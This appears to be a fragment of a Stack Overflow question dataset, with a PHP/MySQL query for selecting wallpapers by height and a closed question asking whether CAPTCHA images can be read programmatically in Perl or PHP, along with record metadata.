Php mysql select from resolution width or height === Need some Help reply must please I need to Select wallpaper from resolution of width or height i need to fix this ? $sql_wallpaper = "SELECT * from wallpaper where height = '1600' order by RAND() limit 0,3"; wallpaper is table
0
6,398,484
06/18/2011 19:47:18
673,018
03/23/2011 12:33:25
132
7
how to read captcha images in perl/php ?
Is it possible to read captcha images programatically ? i'm marking this question in perl & php section as of now.
php
perl
null
null
null
06/18/2011 22:13:07
not constructive
how to read captcha images in perl/php ? === Is it possible to read captcha images programatically ? i'm marking this question in perl & php section as of now.
4